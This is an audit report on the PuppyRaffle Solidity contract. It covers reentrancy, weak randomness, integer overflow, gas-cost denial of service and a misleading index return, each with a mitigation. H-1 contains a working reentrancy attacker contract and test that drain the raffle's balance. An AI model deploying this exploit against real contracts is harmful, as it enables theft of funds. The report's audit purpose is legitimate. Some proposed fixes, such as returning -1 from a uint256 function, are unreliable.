PuppyRaffle Audit Report

Version 1.0

cryptozaki

October 25, 2024

PuppyRaffle Audit Report

Zdravko Petrov (cryptozaki)

October 25, 2024

Prepared by: cryptozaki Lead Auditors: - Zdravko Petrov

Table of Contents

- [M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterFaffle` is a potential DoS attack, incrementing gas costs for future entrants

- Low
  - [L-1] Calling `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existing players and for players at index 0 misleading they are inactive

Protocol Summary

Puppy Raffle

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The cryptozaki team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5
- In Scope:

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

Issues found

Severity	No. of Issues
High	3
Medium	1

Severity	No. of Issues
Low	1

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain raffle balance

Description: The `PuppyRaffle::refund` function does not follow CEI (Checks, Effects, Interactions) and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address and only after making that external call do we update the `PuppyRaffle::players` array.

```
1  function refund(uint256 playerIndex) public {
2      address playerAddress = players[playerIndex];
3      require(
4          playerAddress == msg.sender,
5          "PuppyRaffle: Only the player can refund"
6      );
7      require(
8          playerAddress != address(0),
9          "PuppyRaffle: Player already refunded, or is not active"
10     );
11
12 @>     payable(msg.sender).sendValue(entranceFee);
13 @>     players[playerIndex] = address(0);
14
15     emit RaffleRefunded(playerAddress);
16 }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue the cycle till the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept: 1) User enterss the raffle 2) Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund` 3) Attacker enters the raffle 4) Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

Proof Of Code

```
function test_reentrancyRefund() public playersEntered {
    ReentrancyAttacker attacker = new ReentrancyAttacker(puppyRaffle);

    address attackUser = makeAddr("attackUser");
    vm.deal(attackUser, 1 ether);

    uint256 startingAttackerContractBalance = address(attacker).balance
        ;
    uint256 startingContractBalance = address(puppyRaffle).balance;

    vm.prank(attackUser);
    attacker.attack{value: entranceFee}();

    console.log(
        "Starting attacker contract balance:",
        startingAttackerContractBalance
    );
    console.log("Starting contract balance:", startingContractBalance);

    uint256 endingAttackerContractBalance = address(attacker).balance;
    uint256 endingContractBalance = address(puppyRaffle).balance;

    console.log(
        "Ending attacker contract balance:",
        endingAttackerContractBalance
    );
    console.log("Ending contract balance:", endingContractBalance);

    assertEq(
        endingAttackerContractBalance,
        startingContractBalance + 1 ether
    );
}

contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
```

```
            ;
50          puppyRaffle.refund(attackerIndex);
51      }
52
53      function _stealMoney() internal {
54          if (address(puppyRaffle).balance >= entranceFee) {
55              puppyRaffle.refund(attackerIndex);
56          }
57      }
58
59      fallback() external payable {
60          _stealMoney();
61      }
62
63      receive() external payable {
64          _stealMoney();
65      }
66  }
```

Recommended Mitigation:

To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
1   function refund(uint256 playerIndex) public {
2       address playerAddress = players[playerIndex];
3       require(
4           playerAddress == msg.sender,
5           "PuppyRaffle: Only the player can refund"
6       );
7       require(
8           playerAddress != address(0),
9           "PuppyRaffle: Player already refunded, or is not active"
10      );
11
12  +    players[playerIndex] = address(0);
13  +    emit RaffleRefunded(playerAddress);
14
15      payable(msg.sender).sendValue(entranceFee);
16
17  -    players[playerIndex] = address(0);
18  -    emit RaffleRefunded(playerAddress);
19  }
```

[H-2] Weak randomness in `PuppyRaffle::selectWInner` allow users to influence or predict the winner and influence or predict the winning puppy

Description: Hashing `msg.sender`, `block.timestamp` and `block.difficulty` toghether creates a predicitable find number. A predictable random number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact: Any user can unfluence the winner of the raffle, winning hte money and selecting the `rarest` puppy. Making the entier raffle worthless if it becomes a gas war as to who wins the raffles.

Proof of Concept:

1. Validators can kno ahead of time the `block.timestamp` and `block.difficulty` and use that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recenlty replaced with prevrandao.
2. User can mine/manipulate their `msg.sender` value to result in their address being used to generated the winner.
3. Users can revert their `selectWinner` transaction if they don't like the winner or selected puppy.

Using on-chain values as randomness seed is a well-documented attack vector in the blockchain space.

Recommended Mitigation: Consider using a cryptographically provable random number genrator such as Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In solidity versions prior to `0.8.0` integers were subject to integer overflows.

```
1 uint64 x = type(uint64).max;
2 x = x + 1
3
4 // x will be 0 now
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept:

1. We conclude a raffle of 4 players
2. We then have 89 playerss enter a new raffle, and conclude the raffle
3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);

// totalFees = 800000000000000000 + 178000000000000000
// and this will overflow!
```

4. You will not be able to withdraw fees, due to the line in `PuppyRaffle::withdrawFees`:

```
require(
    address(this).balance == uint256(totalFees),
    "PuppyRaffle: There are currently players active!"
);
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not the intended design of the protocol. At some point, there will be too much `balance` in the contract that the above `require` will be impossible to hit.

Code

```
function testTotalFeesOverflow() public playersEntered {
    // We finish a raffle of 4 to collect some fees
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);
    puppyRaffle.selectWinner();
    uint256 startingTotalFees = puppyRaffle.totalFees();
    // startingTotalFees = 800000000000000000

    // We then have 89 players enter a new raffle
    uint256 playersNum = 89;
    address[] memory players = new address[](playersNum);
    for (uint256 i = 0; i < playersNum; i++) {
        players[i] = address(i);
    }
    puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
    // We end the raffle
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    // And here is where the issue occurs
    // We will now have fewer fees even though we just finished a
       second raffle
    puppyRaffle.selectWinner();

    uint256 endingTotalFees = puppyRaffle.totalFees();
```

```
25      console.log("ending total fees", endingTotalFees);
26      assert(endingTotalFees < startingTotalFees);
27
28      // We are also unable to withdraw any fees because of the require
            check
29      vm.prank(puppyRaffle.feeAddress());
30      vm.expectRevert("PuppyRaffle: There are currently players active!")
            ;
31      puppyRaffle.withdrawFees();
32  }
```

Recommended Mitigation: There are few possible mitigations. 1. Use newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees` 2. You could also use the `SafeMath` library of OpenZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.

3. Remove the balance check from `PuppyRaffle::withdrawFees`

```
1  -        require(address(this).balance == uint256(totalFees), "
       PuppyRaffle: There are currently players active!");
```

Medium

[M-1] Looping through players array to check for duplicates in `PuppyRaffle::enterFaffle` is a potential DoS attack, incrementing gas costs for future entrants

Description: The `PuppyRaffle::enterRaffle` function loops through the `players` array to check for duplicates. However, the longer the `PuppyRaffle::players` array is, the more checks a new player will have to make. This means the gast costs for players who enter right when the raffle starts will be dramatically lower than those who enter later. Every additional address in the `players` array, is an additional check the loop will have to make.

```
1  // Check for duplicates
2  for (uint256 i = 0; i < players.length - 1; i++) {
3      for (uint256 j = i + 1; j < players.length; j++) {
4          require(
5              players[i] != players[j],
6              "PuppyRaffle: Duplicate player"
7          );
8      }
9  }
```

Impact: The gas costs for raffle entrants will greatly increase as more players enter the raffle. Discouraging later users from entering, and causing a rush at the start of the raffle to be one of the first

entrants in the queue.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: ~6252048 gas - 2nd 100 players: ~18068138 gas

This is more than 3x more expensive for the 2nd 100 players.

PoC

Place the following test into `PuppyRaffleTest.t.sol`:

```
function test_denialOfService() public {
    vm.txGasPrice(1);

    uint256 numPlayers = 100;
    address[] memory players = new address[](numPlayers);
    for (uint256 i = 0; i < numPlayers; i++) {
        players[i] = address(i);
    }

    uint256 gasStart = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(players);
    uint256 gasEnd = gasleft();

    uint256 gasUsed = (gasStart - gasEnd) * tx.gasprice;

    console.log("Gas cost of the 1st 100 players: ", gasUsed);

    address[] memory players2 = new address[](numPlayers);
    for (uint256 i = 0; i < numPlayers; i++) {
        players2[i] = address(i + numPlayers);
    }

    uint256 gasStart2 = gasleft();
    puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(players2);
    uint256 gasEnd2 = gasleft();

    uint256 gasUsed2 = (gasStart2 - gasEnd2) * tx.gasprice;

    console.log("Gas cost of the 2nd 100 players: ", gasUsed2);

    assert(gasUsed < gasUsed2);
}
```

Recommended Mitigation:

Check for duplicates by looping the `newPlayers` variable before adding them to the players list.

```
function enterRaffle(address[] memory newPlayers) public payable {
    require(
```

```
3           msg.value == entranceFee * newPlayers.length,
4           "PuppyRaffle: Must send enough to enter raffle"
5       );
6
7   +   // Check for duplicates
8   +   for (uint256 i = 0; i < newPlayers.length - 1; i++) {
9   +       for (uint256 j = i + 1; j < newPlayers.length; j++) {
10  +           require(
11  +               newPlayers[i] != newPlayers[j],
12  +               "PuppyRaffle: Duplicate player"
13  +           );
14  +       }
15  +   }
16
17      for (uint256 i = 0; i < newPlayers.length; i++) {
18          players.push(newPlayers[i]);
19      }
20
21  -   // Check for duplicates
22  -   for (uint256 i = 0; i < players.length - 1; i++) {
23  -       for (uint256 j = i + 1; j < players.length; j++) {
24  -           require(
25  -               players[i] != players[j],
26  -               "PuppyRaffle: Duplicate player"
27  -           );
28  -       }
29  -   }
30      emit RaffleEnter(newPlayers);
31  }
```

Low

[L-1] Calling `PuppyRaffle::getActivePlayerIndex` returns 0 for non-existing players and for players at index 0 misleading they are inactive

Description: As described in the natspec of the function `PuppyRaffle::getActivePlayerIndex`, if a player is not active it will return `0`. However if we call the function with the address of the player at index 0 in the array it will also return `0` meaning that the player is not active eventhough he is.

Impact: This might mislead some players that they are inactive while they really are.

Proof of Concept:

The function will always return that the player at index 0 is not active.

PoC

Place the following test into `PuppyRaffleTest.t.sol`:

```
    function test_activePlayerAtIndexZero() public {
        uint256 numPlayers = 10;
        address[] memory players = new address[](numPlayers);
        for (uint256 i = 0; i < numPlayers; i++) {
            players[i] = address(i);
        }

        puppyRaffle.enterRaffle{value: entranceFee * numPlayers}(
            players);

        // First player is non active
        assertEq(0, puppyRaffle.getActivePlayerIndex(players[0]));
    }
```

Recommended Mitigation:

Change the description of the function and the implementation to return `-1` or some other negative number. We know for sure that `-1` is not valid player index, because the valid range is from `0` to `players.length`.

```

    function getActivePlayerIndex(
        address player
    ) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
-       return 0;
+       return -1;
    }
```